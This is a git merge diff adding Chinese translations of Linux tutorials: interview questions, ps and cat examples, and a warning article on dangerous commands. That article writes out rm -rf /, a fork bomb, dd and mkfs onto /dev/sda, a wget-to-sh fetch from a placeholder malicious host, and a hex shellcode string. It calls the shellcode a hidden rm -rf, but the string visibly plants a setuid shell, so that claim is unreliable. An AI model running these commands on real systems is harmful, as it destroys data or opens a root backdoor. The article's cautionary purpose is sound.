Merge pull request #3 from LCTT/master

2013年12月15日 01:12:22
This commit is contained in:
scusjs 2013-12-14 09:12:36 -08:00
commit 2ad0ff2d61
182 changed files with 9105 additions and 1758 deletions

2
.gitignore vendored
View File

@ -1,3 +1,3 @@
*.md~
members.md
*.html

View File

@ -0,0 +1,111 @@
Linux 面试基础问题 - 3
================================================================================
在有关**面试问题**的这一系列话题的前两篇文章中,我们收到了许多好的反馈,在此表示极大的感谢,同时,我们将延续这一系列话题。在这里,我们将再次展示**10个问题**来进行相互学习。
- [11个基本的Linux面试问题及答案 第一部分][1]
- [10个基本的Linux面试问题及答案 第二部分][2]
![](http://www.tecmint.com/wp-content/uploads/2013/12/Basic-Interview-Questions-Part-3.png)
### Q.1. 你如何向你的系统中添加一个新的用户(例如tux) ###
- 使用useradd指令
- 使用adduser 指令
- 使用linuxconf指令
- 以上全是
- 以上答案全都不对
> **答** : 以上全是即useradd, adduser 和 linuxconf 都可向你的linux系统添加新用户。
### Q.2. 在一个硬盘上,可能有多少主分区? ###
- 1
- 2
- 4
- 16
> **答** : 一个硬盘上最多可能有4个主分区。
### Q.3. Apache/Http 的默认端口号是多少? ###
- 8080
- 80
- 8443
- 91
- 以上答案全都不对
> **答** : Apache/Http默认配置是**80**端口
### Q.4. GNU代表什么 ###
- GNU's not Unix
- General Unix
- General Noble Unix
- Greek Needed Unix
- 以上答案全都不对
> **答** : GNU意为**GNU's not Unix**.
### Q.5. 如果你在shell提示符中输入mysql并得到“cant connect to local MySQL server through socket /var/mysql/mysql.sock ”的提示,你首先应该检查什么? ###
> **答** : 看到这条错误消息,我首先会使用**service mysql status**或者**service mysqld status**指令来检查mysql服务是否正在运行。如果mysql服务没有运行就启动所需服务。
**注意**:上面的错误消息可能是由于**my.cnf**或者mysql的**用户权限**错误配置导致的。如果启动mysql服务之后仍不管用你需要检查这两项。
### Q.6. 如何将windows ntfs分区挂载到Linux上面 ###
> **答** : 首先,使用**apt**或者**yum**工具安装ntfs3g包然后使用
“**sudo mount ­t ntfs­3g /dev/<Windows ntfs的分区号> /<挂载点­>**” 命令来将windows分区挂载到Linux上面
### Q.7. 下面哪一个不是基于RPM的操作系统 ###
- RedHat Linux
- Centos
- Scientific Linux
- Debian
- Fedora
> **答** : **Debian** 系统不是基于**RPM**的,其它的几个都是
### Q.8. Linux中哪一个指令用来重命名文件 ###
- mv
- ren
- rename
- change
- 以上答案全都不对
> **答** : 在Linux中**mv** 指令用来重命名一个文件。例如:**mv /path_to_File/original_file_name.extension /Path_to_File/New_name.extension**
### Q.9. 在Linux中哪个命令用来创建并显示文件 ###
- ed
- vi
- cat
- nano
- 以上答案全都不对
> **答** : **cat** 命令用来创建并且显示文件
### 10. 哪层协议用于支持用户和程序,如支持密码、资源分享、文件传输和网络管理? ###
- 第四层协议
- 第五层协议
- 第六层协议
- 第七层协议
- 以上答案全都不对
> **答** : **第七层协议**
--------------------------------------------------------------------------------
via: http://www.tecmint.com/linux-interview-questions-and-answers-for-linux-beginners/
译者:[tomatoKiller](https://github.com/tomatoKiller) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2315-1.html
[2]:http://linux.cn/article-2370-1.html

View File

@ -0,0 +1,97 @@
永远不要在Linux执行的10个最危险的命令
================================================================================
Linux命令行佷有用、很高效也很有趣但有时候也很危险尤其是在你不确定你自己在正在做什么时候。这篇文章并不打算引来你对**Linux**或**linux 命令行**的愤怒。我们只是想让你意识到在你运行某些命令时应该三思而后行。译注当然以下命令通常都是在root权限下才能将愚蠢发挥到无可救药在普通用户身份下破坏的只是自己的一亩三分地。
![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)
### 1. rm -rf 命令 ###
**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的敲错或无知都可能导致不可恢复的系统崩坏。下列是一些**rm 命令**的选项。
- **rm** 命令在Linux下通常用来删除文件。
- **rm -r** 命令递归的删除文件夹,甚至是空的文件夹。(译注:个人认为此处应该是说错了,从常识看,应该是“甚至是非空的文件夹”)
- **rm -f** 命令能不经过询问直接删除只读文件译注Linux下删除文件并不在乎该文件是否是只读的而只是在意其父目录是否有写权限。所以-f这个参数只是表示不必一个个删除确认而是一律悄悄删除。另外原始的rm命令其实也是没有删除提示的只是一般的发行版都会将rm通过别名的方式增加-i参数来要求删除确认而-f则抑制了这个提示。
- **rm -rf /** : 强制删除根目录下所有东东。(就是说删除完毕后,什么也没有了。。。)
- rm -rf *: 强制删除当前目录的所有文件。
- **rm -rf .** : 强制删除当前文件夹及其子文件夹。
从现在起,当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名,来预防用 **rm**‘命令删除文件时的事故,它会要求你确认每一个删除请求。(译注:大多数发行版已经这样做了,如果还没有,请这样做,并在使用-f参数前一定考虑好你在做什么译者本人有着血泪的教训啊。
### 2. :(){:|:&};: 命令###
这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 :‘的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
:(){:|:&};:
哦?你确认你要试试么?千万别在公司正式的服务器上实验啊~~
### 3. 命令 > /dev/sda ###
上列命令会将某个‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
### 4. mv 文件夹 /dev/null ###
这个命令会移动某个‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。(译注:这就是黑洞啊。当然,要说明的是,通过将文件夹移动到黑洞,并不能阻止数据恢复软件的救赎,所以,真正的彻底毁灭,需要采用专用的软件或者手法来完成——我知道你肯定有些东西想删除得干干净净的。)
# mv /home/user/* /dev/null
上列命令会将**User**目录所有内容移动到**/dev/null**,这意味着所有东西都被‘卷入’**黑洞 (null)**之中。
### 5. wget http://malicious_source -O- | sh ###
上列命令会从一个也许是恶意源下载一个脚本并执行。get命令会下载这个脚本而**sh**会(无条件的)执行下载下来的脚本。
**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。译注所以你真的知道你在做什么吗当遇到这种需要是我的做法是先wget下来然后我去读一读其中到底写了些什么然后考虑是否执行。
### 6. mkfs.ext3 /dev/sda ###
上列命令会格式化块设备‘**sda**’,你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化,**崭新的!**没有任何数据,直接让你的系统达到不可恢复的阶段。(译注:通常不会直接使用/dev/sda这样的设备除非是作为raw设备使用一般都需要将sda分成类似sda1、sda2这样的分区后才使用。当然无论你使用sda还是sda1这样对块设备或分区进行mkfs都是毁灭性的上面的数据都会被蒸发了。
### 7. > file###
上列命令常用来清空文件内容(译注:通常也用于记录命令输出。不过请在执行前,确认输出的文件是空的或者还不存在,否则原来的文件可真是恢复不了了——连数据恢复软件都未必能帮助你了。另外,我想你可能真正想用的是“>>”,即累加新的输出到文件,而不是刷新那个文件。)。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**” 的命令会覆盖配置文件或其他任何的系统配置文件。
### 8. \^foo\^bar ###
这个命令在我们[十个鲜为人知的 Linux 命令 - Part 3][1]中描述过,用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。(译注:事实上,这种小技巧是译者认为的,少数史前时代遗留下来的无用而有害的“黑客”技巧。)
### 9. dd if=/dev/random of=/dev/sda ###
上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然你的系统可能陷入混乱和不可恢复的状态。译注记得上面说过mv到黑洞并不能彻底删除数据么那么这个命令就是给了你一个彻底删除的方法当然为了保险起见你可以覆写多次。
### 10. 隐藏命令 ###
下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你的**根**分区。
这个命令表明通常真正的危险是隐藏的,不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译/运行从未知来源的代码。
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们请在虚拟机上运行。任何不和谐或数据丢失由于运行上面的命令导致你的系统崩溃文章**作者**和**Tecmint**概不负责。(译注:译者和转载网站也不负责~
今天就到此为止吧,我会很快回来这里,同时带上另一篇你们喜欢的文章。到那时请继续关注和访问**Tecmint**。如果你知道任何其他**危险的Linux命令**,也想添加到我们的列表中,请通过评论留言给我们同时也别忘了留下你的宝贵意见。
--------------------------------------------------------------------------------
via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://linux.cn/article-2284-1.html

View File

@ -0,0 +1,209 @@
ps命令的10个例子
================================================================================
### Linux ps 命令 ###
linux的ps命令是一个查看系统运行的进程的一个最基础的工具。它提供了一个当前进程的快照还带有一些具体的信息比如用户idcpu使用率内存使用命令名等它不会像top或者htop一样实时显示数据。虽然它在功能和输出上更加简单但它仍然是每个linux新手需要了解和学好的必要进程管理/检测工具。
在本篇中我们会学习ps命令基本的用法查找、过滤以不同的方式排序。
### 语法说明 ###
ps命令有两种不同风格的语法规则BSD风格和UNIX风格。Linux新手经常感到困惑并会误解这两种风格所以在继续下一步之前我们来弄清楚一些基本的信息。
> 注意: "ps aux"不等同于"ps -aux"。比如"-u"用于显示用户的进程,但是"u"意味着显示具体信息。
BSD 形式 - BSD形式的语法的选项前没有破折号
ps aux
UNIX/LINUX 形式 - linux形式的语法的选项前有破折号
ps -ef
> 在linux系统上混合这两种语法是可以的。比如 "ps ax -f"。但是本章中我们主要讨论UNIX形式语法。
### 如何使用ps命令 ###
#### 1. 显示所有进程 ####
下面的命令可以显示所有进程的列表。
$ ps ax
$ ps -ef
通过管道输出到"less"可以分页。
使用"u"或者"-f"选项可以显示进程的具体信息。
$ ps aux
$ ps -ef -f
> 为什么USER列显示的不是我的用户名但是其他的像rootwww-data等却显示
> 对于所有的用户(包括你们的)如果长度大于8个字符那么ps只会显示你的UID而不是用户名。
#### 2. 显示用户进程 ####
使用"-u"选项后跟用户名来过滤所属用户的进程。多个用户名可以用逗号分隔。
$ ps -f -u www-data
UID PID PPID C STIME TTY TIME CMD
www-data 1329 1328 0 09:32 ? 00:00:00 nginx: worker process
www-data 1330 1328 0 09:32 ? 00:00:00 nginx: worker process
www-data 1332 1328 0 09:32 ? 00:00:00 nginx: worker process
www-data 1377 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost
www-data 1378 1372 0 09:32 ? 00:00:00 php-fpm: pool a.localhost
www-data 4524 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 4527 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 4528 2359 0 10:03 ? 00:00:00 /usr/sbin/apache2 -k start
#### 3. 通过名字或者进程id显示进程 ####
通过"-C"选项后面加上名字或者命令来搜索进程。
$ ps -C apache2
PID TTY TIME CMD
2359 ? 00:00:00 apache2
4524 ? 00:00:00 apache2
4525 ? 00:00:00 apache2
...
要通过进程id显示进程就使用"-p"选项并且还可以通过逗号分隔来指定多个进程id。
$ ps -f -p 3150,7298,6544
"-C"必须提供精确的进程名并且它并不能通过部分名字或者通配符查找。为了更灵活地搜索进程列表通常使用grep命令。
$ ps -ef | grep apache
#### 4. 通过cpu或者内存使用排序进程 ####
系统管理员通常想要找出那些消耗最多内存或者CPU的进程。排序选项会基于特定的字段或者参数来排序进程列表。
可以用'--sort'指定多个字段,并用逗号分割。除此之外,字段前面还可以跟上'-'或者'+'的前缀来相应地表示递减和递增排序。这里有很多的用于排序的选项通过man页来获取完整的列表。
$ ps aux --sort=-pcpu,+pmem
显示前5名最耗cpu的进程。
$ ps aux --sort=-pcpu | head -5
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 2.6 0.7 51396 7644 ? Ss 02:02 0:03 /usr/lib/systemd/systemd --switched-root --system --deserialize 23
root 1249 2.6 3.0 355800 30896 tty1 Rsl+ 02:02 0:02 /usr/bin/X -background none :0 vt01 -nolisten tcp
root 508 2.4 1.6 248488 16776 ? Ss 02:02 0:03 /usr/bin/python /usr/sbin/firewalld --nofork
silver 1525 2.1 2.3 448568 24392 ? S 02:03 0:01 /usr/bin/python /usr/share/system-config-printer/applet.py
#### 5. 以树的形式显示进程层级 ####
许多进程实际上是从同一个父进程fork出来的了解父子关系通常是很有用的。"--forest" 选项会构造一个ascii艺术形式的进程层级视图。
下面的命令会用apache2的进程名来搜索并构造一个树来显示具体信息。
$ ps -f --forest -C apache2
UID PID PPID C STIME TTY TIME CMD
root 2359 1 0 09:32 ? 00:00:00 /usr/sbin/apache2 -k start
www-data 4524 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 4525 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 4526 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 4527 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
www-data 4528 2359 0 10:03 ? 00:00:00 \_ /usr/sbin/apache2 -k start
> 不要在排序中使用树状显示,因为两者都会以不同方式影响显示的顺序。
#### 6. 显示父进程的子进程 ####
下面一个是找出所有从apache进程fork出来的进程的例子。
$ ps -o pid,uname,comm -C apache2
PID USER COMMAND
2359 root apache2
4524 www-data apache2
4525 www-data apache2
4526 www-data apache2
4527 www-data apache2
4528 www-data apache2
第一个属于root的进程是apache2的主进程其他的apache进程都是从主进程fork出来的。下面的命令使用apache2主进程的pid列出了所有的apache2的子进程。
$ ps --ppid 2359
PID TTY TIME CMD
4524 ? 00:00:00 apache2
4525 ? 00:00:00 apache2
4526 ? 00:00:00 apache2
4527 ? 00:00:00 apache2
4528 ? 00:00:00 apache2
#### 7. 显示进程的线程 ####
"-L"选项会随着进程一起显示线程。它可用于显示所有指定进程或者所有进程的线程。
下面的命令会显示进程id为3150的进程的所有线程。
$ ps -p 3150 -L
#### 8. 改变显示的列 ####
ps命令可以被配置用来只显示被选中的列。很多列可以被用来显示完整的列表可以查看man页。
下面的命令会只显示pid、用户名、cpu、内存、命令列。
$ ps -e -o pid,uname,pcpu,pmem,comm
同样可以重命名列的名字。
$ ps -e -o pid,uname=USERNAME,pcpu=CPU_USAGE,pmem,comm
PID USERNAME CPU_USAGE %MEM COMMAND
1 root 0.0 0.0 init
2 root 0.0 0.0 kthreadd
3 root 0.0 0.0 ksoftirqd/0
4 root 0.0 0.0 kworker/0:0
5 root 0.0 0.0 kworker/0:0H
7 root 0.0 0.0 migration/0
8 root 0.0 0.0 rcu_bh
9 root 0.0 0.0 rcuob/0
10 root 0.0 0.0 rcuob/1
非常灵活。
#### 9. 显示进程运行的时间 ####
运行的时间指的是,进程已经运行的时间。运行时间的列并没有默认显示,需要使用-o选项带入。
$ ps -e -o pid,comm,etime
#### 10. 将ps转换为实时进程查看器 ####
通常上watch命令可将ps命令变成实时进程查看器。像这个简单的命令
$ watch -n 1 'ps -e -o pid,uname,cmd,pmem,pcpu --sort=-pmem,-pcpu | head -15'
我桌面上的输出如下。
Every 1.0s: ps -e -o pid,uname,cmd,pmem,pcpu --... Sun Dec 1 18:16:08 2013
PID USER CMD %MEM %CPU
3800 1000 /opt/google/chrome/chrome - 4.6 1.4
7492 1000 /opt/google/chrome/chrome - 2.7 1.4
3150 1000 /opt/google/chrome/chrome 2.7 2.5
3824 1000 /opt/google/chrome/chrome - 2.6 0.6
3936 1000 /opt/google/chrome/chrome - 2.4 1.6
2936 1000 /usr/bin/plasma-desktop 2.3 0.2
9666 1000 /opt/google/chrome/chrome - 2.1 0.8
3842 1000 /opt/google/chrome/chrome - 2.1 0.8
4739 1000 /opt/google/chrome/chrome - 1.8 1.0
3930 1000 /opt/google/chrome/chrome - 1.7 1.0
3911 1000 /opt/google/chrome/chrome - 1.6 0.6
3645 1000 /opt/google/chrome/chrome - 1.5 0.4
3677 1000 /opt/google/chrome/chrome - 1.5 0.4
3639 1000 /opt/google/chrome/chrome - 1.4 0.4
输出会每秒刷新状态但是这其实很top不同。你会发现top/htop命令的输出相比上面的ps命令刷新得更频繁。
这是因为top输出是结合了cup使用值和内存使用值后的排序值。但是上面的ps命令是一个更简单的行为的排序每次获取一列(像学校的数学)因此它不会像top那样快速更新。
--------------------------------------------------------------------------------
via: http://www.binarytides.com/linux-ps-command/
译者:[geekpi](https://github.com/geekpi) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,214 @@
13个Cat命令管理(显示,排序,建立)文件实例
================================================================================
![](http://linoxide.com/wp-content/uploads/2013/11/linux-cat-command.png)
在Linux系统中大多数配置文件、日志文件甚至shell脚本都使用文本文件格式因此Linux系统存在着多种文本编辑器但当你仅仅想要查看一下这些文件的内容时可使用一个简单的命令-cat。
cat手册里这样描述
> cat命令读取文件内容并输出到标准设备上面
cat是一条linux内置命令. 几乎所有linux发行版都内置译注或者说我从未听说过不内置cat命令的发行版。接下来让我们开始学习如何使用.
### 1. 显示文件内容 ###
最简单的方法是直接输入cat file_name.
# cat /etc/issue
CentOS release 5.10 (Final)
Kernel \r on an \m
### 2. 同时显示行号 ###
当在读取内容很多的配置文件时,如果同时显示行号将会使操作变简单,加上-n参数可以实现.
# cat -n /etc/ntp.conf
1 # Permit time synchronization our time resource but do not
2 # permit the source to query or modify the service on this system
3 restrict default kod nomodify notrap nopeer noquery
4 restrict -6 default kod nomodify notrap nopeer noquery
5
6 # Permit all access over the loopback interface. This could be
7 # tightened as well, but to do so would effect some of the
8 # administration functions
9 restrict 127.0.0.1
10 restrict -6 ::1
### 3. 在非空格行首显示行号 ###
类似于-n参数-b也可以显示行号。区别在于-b只在非空行前显示行号。
#cat -b /etc/ntp.conf
1 # Permit time synchronization our time resource but do not
2 # permit the source to query or modify the service on this system
3 restrict default kod nomodify notrap nopeer noquery
4 restrict -6 default kod nomodify notrap nopeer noquery
5 # Permit all access over the loopback interface. This could be
6 # tightened as well, but to do so would effect some of the
7 # administration functions
8 restrict 127.0.0.1
9 restrict -6 ::1
### 4. 显示tab制表符 ###
当你想要显示文本中的tab制表位时. 可使用-T参数. 它会在输入结果中标识为 **\^I** .
# cat -T /etc/hosts
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1^I^Ilocalhost.localdomain localhost
::1^I^Ilocalhost6.localdomain6 localhost6
### 5. 显示换行符 ###
-E参数在每行结尾使用 **$** 表示换行符。如下所示 :
# cat -E /etc/hosts
# Do not remove the following line, or various programs$
# that require network functionality will fail.$
127.0.0.1 localhost.localdomain localhost$
::1 localhost6.localdomain6 localhost6$
### 6. 同时显示制表符及换行符 ###
当你想要同时达到-T及-E的效果, 可使用-A参数.
# cat -A /etc/hosts
# Do not remove the following line, or various programs$
# that require network functionality will fail.$
127.0.0.1^I^Ilocalhost.localdomain localhost$
::1^I^Ilocalhost6.localdomain6 localhost6$
### 7. 分屏显示 ###
当文件内容显示超过了你的屏幕大小, 可结合cat命令与其它命令分屏显示。使用管道符 ( | )来连接。
# cat /proc/meminfo | less
# cat /proc/meminfo | more
在less与more显示结果的区别在于less参数可pageup及pagedown上下翻滚。而more仅能使用空格向下翻屏。
### 8. 同时查看2个文件中的内容 ###
位于/root文件夹里有两个文件取名linux及desktop每个文件含有以下内容 :
**Linux** : ubuntu, centos, redhat, mint and slackware
**Desktop** : gnome kde, xfce, enlightment, and cinnamon
当你想同时查看两文件中的内容时,可按如下方法 :
# cat /root/linux /root/desktop
ubuntu
centos
redhat
mint
slackware
gnome
kde
xfce
enlightment
cinnamon
### 9. 排序显示 ###
类似. 你也可以结合cat命令与其它命令来进行自定义输出. 如结合 **sort** ,通过管道符对内容进行排序显示。举例 :
# cat /root/linux | sort
centos
mint
redhat
slackware
Ubuntu
### 10. 输入重定向 ###
你也可将显示结果输出重定向到屏幕或另一个文件。 只需要使用 > 符号(大于号)即可输出生成到另一个文件。
# cat /root/linux > /root/linuxdistro
以上命令会生成一个与/root/linux内容一模一样的叫linuxdistro的文件.
### 11. 新建文件 ###
Linux下有多种方法新建文件。其中使用cat就是方法之一.
# cat > operating_system
Unix
Linux
Windows
MacOS
当你输入cat > operating_system它会生成一个operating_system的文件。然后下面会显示空行。此时你可输入内容。比如我们输入Unix, Linux, Windows 和 MacOS 输入完成后,按**Ctrl-D**存盘退出cat。此时你会发现当前文件夹下会生成一个包含你刚才输入内容的叫 **operating_system**的文件。
### 12.向文件中追加内容 ###
当你使用两个 > 符时, 会将第一个文件中的内容追加到第二个文件的末尾。 举例 :
# cat /root/linux >> /root/desktop
# cat /root/desktop
它会将 /root/linux的内容追加到/root/desktop文件的末尾。
第二个文件的内容将会变成这样:
gnome
kde
xfce
enlightment
cinnamon
ubuntu
centos
redhat
mint
slackware
### 13. 重定向输入 ###
你可使用 **<**命令小于号将文件输入到cat中.
# cat < /root/linux
上面命令表示 /root/linux中的内容作为cat的输入。屏幕上显示如下 :
ubuntu
centos
redhat
mint
slackware
为了更清楚表示它的意义,我们使用以下命令 :
# cat < /root/linux | sort > linux-sort
此命令这样理解: **从/root/linux中读取内容然后排序将结果输出并生成linux-sort新文件**
然后我们看看linux-sort中的内容 :
centos
mint
redhat
slackware
ubuntu
以上是一些cat命令的日常基本应用. 更多相关你可从cat命令手册中学到并记得经常练习它们.
--------------------------------------------------------------------------------
via: http://linoxide.com/linux-command/13-cat-command-examples/
译者:[hongchuntang](https://github.com/译者ID) 校对:[Caroline](https://github.com/carolinewuyan)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -1,17 +1,16 @@
10个鲜为人知的Linux命令(3)
十个鲜为人知的 Linux 命令 - Part 3
================================================================================
![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Linux-Commands.png)
为了已经进入了10个鲜为人知Linux命令谢列的第三部分这些都值得了解。或许你已经知道了这些命令你无疑是一个有经验的Linux用户并喜欢探索
我们继续10个鲜为人知Linux命令系列的第三部分。或许你已经知道了这些命令那你无疑是一个有经验而喜欢探索的Linux用户
### 22. ^foo^bar 命令 ###
### 22. \^foo\^bar 命令 ###
在一个实例中运行修改后的最后一个命令。假设我需要运行一个命令‘**ls -l**‘来详细列出‘**Desktop**’目录下的内容。意外地,你打了‘**lls -l**‘。所以你需要重新打整个命令或者使用导航键编辑前面的命令。当你的命令很长时这个很痛苦。
avi@localhost:~/Desktop$ lls -l
bash: lls: command not found
avi@localhost:~/Desktop$ ^lls^ls
ls -l
@ -22,11 +21,11 @@
-rw-r--r-- 1 avi avi 158951 Nov 5 15:27 2.jpg
-rw-r--r-- 1 avi avi 90624 Nov 5 12:59 Untitled 1.doc
**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。这个命令可能会非常危险如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令
**注意**:在上面的替换中我们使用“**^typo(被替换的)^original_command(原始命令)**”。警告!这个命令可能会非常危险如果你有意或者无意地打错了系统命令或者任何像**rm -rf**那样的风险命令的话!
### 23. > file.txt 命令 ###
这个命令会刷新文件的内容而不需移除或者创建相同的文件。当我们反复需要一个输出或者在相同的文件上记录日志时,这个命令在脚本语言中非常有用。
这个命令会刷新文件的内容而不需删除然后创建相同的文件。当我们需要反复输出,或者在相同的文件上记录日志时,这个命令就非常有用。
我有一个有很多文字的‘**test.txt**’文件在我的‘**Desktop**‘上。
@ -46,7 +45,7 @@
avi@localhost:~/Desktop$ > test.txt
avi@localhost:~/Desktop$ cat test.txt
**注意**:再说一次,这个命令可能很危险,永远不要尝试刷新系统文件或者篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题。
**注意**:再说一次,这个命令可能很危险!永远不要尝试刷新系统文件或者某篇日志文件的内容。如果你这么做了,你可能会遭遇严重的问题!
### 24. at 命令 ###
@ -54,7 +53,7 @@
avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 14:012
OR
avi@localhost:~/Desktop$ echo "ls -l > /dev/pts/0" | at 2:12 PM
@ -69,11 +68,11 @@
-rw-r--r-- 1 avi avi 96206 Nov 5 12:56 Untitled 1.odt
-rw-r--r-- 1 avi avi 9405 Nov 12 23:22 Untitled.png
**注意**:echo “**ls -l**”: 这串echo命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。
**注意**:echo “**ls -l**”的意思是,将这串命令(这里是 **ls -l**)输出在标准终端上。你可以用你需要或者选择的命令替代‘**ls -l**‘。
> : 重定向输出
\> 重定向输出
**/dev/pts/0**: 这是输出设备与/或者文件,输出到被寻找的地方,这里输出在终端
**/dev/pts/0**: 这是输出设备和/或文件,输出到指定的地方,这里输出在终端(/dev/pts/0
就我而言,此时我的**tty**在**/dev/pts/0**。你可以用**tty**命令检查你的**tty**。
@ -115,8 +114,7 @@
### 27. look 命令 ###
在终端上从英文字典上查单词以防混淆。也就是说我混淆了是该拼成carrier还是carieer。
在终端上从英文字典上查单词以防混淆。比如说我记不清了是该拼成carrier还是carieer。
avi@localhost:/home/avi/Documents# look car
@ -167,7 +165,7 @@ avi@localhost:/home/avi/Documents# look car
### 29. factor 命令 ###
factor实际是一个于数学的命令。这个命令会输出所有给定数字的因数。
factor实际是一个于数学的命令。这个命令会输出所有给定数字的因数。
avi@localhost:~/Desktop$ factor 22
22: 2 11
@ -184,7 +182,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
当你等待或者持续盯着你的终端等待命令的回应或者等待服务器的连接时,有时是很气人的。
一旦服务器连通就有一个声音如何?
一旦服务器连通就有一个声音如何译注下面命令是等60秒PING一次
avi@localhost:~/Desktop$ ping -i 60 -a www.google.com
@ -192,7 +190,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
64 bytes from www.google.com (74.125.200.103): icmp_req=1 ttl=44 time=105 ms
64 bytes from 74.125.200.103: icmp_req=2 ttl=44 time=281 ms
让我告诉你一件事情,当你报告命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)** 中启用并确保勾选了‘**Enable window and window sound**‘。
注意,当你发现命令不会返回声音时。请确保你的系统不是静音的,声音已经在‘**sound preferences(声音选项)** 中启用并确保勾选了‘**Enable window and window sound**‘。
### 31. tac 命令 ###
@ -208,7 +206,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
> 3. Shell scripting/programming makes it possible to execute command(s), piped to get desired output in order to automate day-to-day usages.
现在用tac命令反转文件内容。
现在用tac命令反转文件内容译注当然我们知道cat反转过来就是tac
avi@localhost:~/Documents$ tac 35.txt
@ -218,7 +216,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
> 2. One of such important tool is Shell Scripting. Windows however comes with such a tool but as usual it is much weak as compared to it's Linux Counterpart.
> 1. Linux is built with certain powerful tools, which are unavailable in windows.
现在了。如果你还知道其他一些Linux鲜为人知的命令你可以在下面评论那么我们你可以在以后的文章中包含进来。
现在结束了。如果你还知道其他一些Linux鲜为人知的命令你可以在下面评论那么我们你可以在以后的文章中包含进来。
不要忘了给我们有价值的评论。我很快会发另外有趣的文章。别走开继续关注 **Tecmint**
@ -226,7 +224,7 @@ factor实际是一个始于数学的命令。这个命令会输出所有给定
via: http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,89 @@
11个Linux基础面试问题
================================================================================
### Q.1: Linux 操作系统的核心是什么? ###
- Shell
- Kernel
- Command
- Script
- Terminal
> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器命令Command是针对计算机的指令脚本(Script)是存储在文件中的命令的集合,终端(Termial)是命令行接口。
### Q.2: Linus Torvalds 都创建过什么东东? ###
- Fedora
- Slackware
- Debian
- Gentoo
- Linux
> **答**: Linux Torvalds 创建了LinuxLinux是所有上述操作系统的核心同样也是其他一些Linux 操作系统的核心。
### Q.3: Torvalds使用C++语言编写了Linux内核的大部分代码是这样吗? ###
